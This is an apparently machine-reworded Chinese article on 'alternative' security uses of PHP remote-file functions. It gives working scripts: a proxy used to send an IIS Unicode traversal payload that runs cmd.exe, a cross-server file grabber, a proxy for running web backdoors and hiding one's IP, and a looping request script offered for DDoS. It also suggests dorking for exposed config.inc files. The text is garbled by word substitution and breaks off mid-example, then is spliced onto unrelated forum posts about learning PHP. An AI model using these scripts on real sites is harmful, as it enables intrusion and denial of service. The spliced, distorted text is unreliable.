PHP网页设计PHP在平安方面的另类使用
根据功能来进行封装等。很多的不懂,在使用搜索引擎查找,或者请教老师和在老师详细的讲解、指导下,都能顺利解决。平安 1.近程文件PHP是一门具有丰厚特征的言语,它供应了大批函数,使法式员可以便利地完成各类功效,近程文件就是一个很好的例子:
代码
<?php
$fp=@Fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //显示文件内容
fclose($fp); //封闭文件
?>
以上是一段使用Fopen函数翻开文件的代码,因为Fopen函数撑持近程文件,使得它使用起来相当风趣,将以上代码保留为Proxy.php,然后后提交:
代码
/proxy.php?url=http://www.hacker.com.cn/bbs
这时候候你会发明服装论坛下方显示的IP地址酿成了PHP剧本所处办事器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,现实上PHP的大多半文件处置函数对近程文件都是通明的,好比恳求:
代码
/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
如许实践上是使用了Target主机上的Unicode破绽,履行了DIR号令。但并非一切的办事器都撑持近程文件的功效,假如你利用的是贸易的办事器,极可能会发明近程文件利用不了(如51的虚拟主机),这是由于在贸易主机下限制近程文件的功效,常常可以更好的回护办事器的正常运转。你可以经由过程PHPinfo()检查办事器是不是撑持这类功效。固然,在PHPinfo()被禁用的情形下,也能够利用Get_cfg_var():
代码
<?php
echo "是不是答应利用近程文件(allow_url_Fopen)";
?php
if (get_cfg_var("allow_url_Fopen")=="1")
{
echo("<font color=green><b>是</b></font>");
}
else echo("<font color=red><b>否</b></font>");
?>
当Allow_url_Fopen一项参数为ON时,即撑持近程文件的功效。充实发扬近程文件的特征,咱们可以完成很多特别的功效:假如你是用过PHP Flame的最新版本,你会发明它在集文件夹复制、文本搜刮等功效的基本上,又增添了Web间文件传输的功效,依托这类功效,你可以随便将其他办事器上的文件传送到你的Web目次下。并且,在两台办事器间传送文件有着飞快的传输速度。咱们看看完成这个功效的代码:
代码
<?php
$fp = Fopen($_GET['filename'], 'rb'); //翻开文件
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break; //跳出while轮回
}
$data .= $tmp;
}
fclose($fp); //封闭文件
$file=preg_replace("/^.+\//","",$filename);//转换文件名
//write
$fp = Fopen("$file", 'wb'); //生成文件
fwrite($fp, $data); //写入数据
fclose($fp);
?>
在挪用Fopen和Fwrite函数时到场"b"标志,可使这两个函数平安应用于二进制文件而不破坏数据。在以上剧本提交:
/down.php?filename=http://www.chinaz.com/winrar.zip
这时候便会在Down.php的所处目次下生成响应的Winrar.zip文件。假如再共同遍历目次的功效,你将可以完成多个文件夹办事器间的传输。然而,近程文件应当还有更大的发扬空间,好比写SQL Injection进击的主动剧本,乃至是HTTP的代办署理办事:
代码
<?
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url)) //反省输出的URL格局
{
echo "例子:<br>http://www.163.com/<br>";
echo "http://www.xxxx.com/list.php?id=600<br>";
echo "当URL为目次时需求在目次后到场"/"";
exit;
}
if($url)
$url=str_replace("\\","/",$url);
$f=@Fopen($url,"r"); //翻开文件
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000); //读取文件
fclose($f);
}
$rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url); //转换根目次
$a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
$a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换链接地址
$a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a); //转换款式表地址
echo $a;
exit;
?>
在正则表达式的匡助下,以上代码可以自行地将前往页面中包括的链接和图片停止转换,并把页面内的链接主动提交到以后PHP剧本的$url中。例如提交:
/proxy.php?http://www.xfocus.net/
剧本将会前往http://www.xfocus.net/的内容。
固然,这应用的相对不单单是框架的技能。应用这个剧本你可以近程操作安装在其他办事器的Web后门,或将肉鸡做成一个复杂的HTTP代办署理,从而更好的埋没本人的IP。假如利用PHP编写CGI扫描东西,你需求延伸PHP的无效运转工夫。以下是两种无效的办法,固然你也能够将PHP代码编译成GUI界面,从而处理这个成绩。设置PHP的无效运转工夫为三分钟:
代码
<? ini_set("max_execution_time",60*3); ?>
<? set_time_limit(60*3); ?>
咱们再看看这类功效在DDOS进击中的使用:
代码
<?php
set_time_limit(60*3);
$url="http://www.xxx.com/bbs/userlist.php?userid=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i; //将$url与$i链接在一同
$f=@Fopen($urls,"r"); //恳求$urls
$a=@fread($f,10); //掏出局部内容
fclose($f); //封闭$urls
}
?>
以上用For轮回不休地恳求Userlist.php?userid=$i的内容($i的值每次都是分歧的),然而翻开后仅仅掏出几个字节便封闭这个剧本了。PHP运转在虚拟主机上,10秒钟即可以翻开几十个URL,当同时运转多个历程时,便有能够完成DDOS进击,让对方的服装论坛敏捷溃散。
限于版面,近程文件的内容就先说到这里了,假如你还有不分明的中央,请参考以下的这篇文章:《在PHP中利用近程文件》
2.毛病回显
PHP在默许的情形下翻开毛病回显,如许可以便于法式员在调试剧本时发明代码的毛病,然而这也常常使Web表露了PHP的代码和办事器的一些数据。PHP对代码的标准性请求对照严厉,以下是一种对照罕见的毛病回显:
warning:file("data/1120\'.htm)-no such file or
directory in /usr/home/xxxxx.com/show.php on line 300
这类毛病回显,最少告知了咱们三个信息:办事器的操作体系是LINUX;办事器利用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。
这类毛病回显,已足以成为一台办事器致命的破绽。从另外一个使用的角度来看,咱们发明普通的PHP毛病回都包括了"warning"字符,然而这有甚么用呢?咱们得先熟悉一下PHP的库文件。
PHP的Include()和Require()次要是为了撑持代码库,由于咱们通常为把一些常常利用的函数放到一个自力的文件中,这个自力的文件就是代码库,当需求利用个中的函数时,咱们只需把这个代码库包括到以后的文件中就能够了。
最后,人们开辟和宣布PHP法式的时分,为了区分代码库和主法式代码,通常为为代码库文件设置一个".inc"的扩大名,然而他们很快发明这是一个毛病,由于如许的文件没法被PHP注释器准确解析为PHP代码。假如咱们直接恳求办事器上的这类文件时,咱们就会失掉该文件的源代码,这是由于当把PHP作为Apache的模块利用时,PHP注释器是依据文件的扩大名来决意是不是解析为PHP代码的。扩大名是站点办理员指定的,通常为".php", ".php3"和".php4"。假如主要的设置装备摆设数据被包括在没有适合的扩大名的PHP文件中,那末近程进击者将轻易失掉这些信息。
依照以往的法式员的习气,常常会把一些主要的文件设定"config.inc","coon.inc"等模式,假如咱们在搜刮引闹兴阉"warning+config.inc",那末你会发明很多网站都表露了".inc"文件的代码,乃至包含很多贸易和当局网站。
要封闭PHP的毛病回显凡是有两个办法,第一个是直接修正Php.ini中的设置,这咱们之前已引见过了;第二种办法是在PHP剧本中到场克制毛病回显的代码,你可以在挪用的函数前函数到场"@"字符,或在PHP的代码顶端到场"error_reporting(0);"的代码,要懂得更多的内容请参考PHP手册中的"error_reporting"一节。
3.变量回显
WEN的平安成绩次要集中变量的处置上,对变量的处置不妥,会招致多种平安成绩。先看一下的例子:
代码
<td width="400">
<select name="face">
<option value="1.gif">1.gif</option>
<option value="2.gif">2.gif 在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。 个人呢觉得,配wamp 最容易漏的一步就是忘了把$PHP$目录下的libmysql.dll拷贝到windows系统目录的system32目录下,还有重启apache。 开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。 爱上php,他也会爱上你。 对于懒惰的朋友,我推荐php的集成环境xampp或者是wamp。这两个软件安装方便,使用简单。但是我还是强烈建议自己动手搭建开发环境。 我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能: 学好程序语言,多些才是王道,写两个小时代码的作用绝对超过看一天书,这个我是深有体会(顺便还能练打字速度)。 刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。 使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 php是动态网站开发的优秀语言,在学习的时候万万不能冒进。在系统的学习前,我认为不应该只是追求实现某种效果,因为即使你复制他人的代码调试成功,实现了你所期望的效果,你也不了解其中的原理。 最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。 Ps:以上纯属原创,如有雷同,纯属巧合 我还是推荐用firefox ,配上firebug 插件调试js能省下不受时间。谷歌的浏览器最好也不少用,因为谷歌的大侠们实在是太天才啦,把一些原来的js代码加了一些特效。 如果你已经到这种程度了,那么你已经可以做我的老师了。其实php也分很多的区域, 说点我烦的低级错误吧,曾经有次插入mysql的时间 弄了300年结果老报错,其实mysql的时间是有限制的,大概是到203X年具体的记不清啦,囧。 有位前辈曾经跟我说过,phper 至少要掌握200个函数 编起程序来才能顺畅点,那些不熟悉的函数记不住也要一拿手册就能找到。所以建议新手们没事就看看php的手册(至少array函数和string函数是要记牢的)。 使用zendstdio 写代码的的时候,把tab 的缩进设置成4个空格是很有必要的 说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。 其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
页:
[1]
2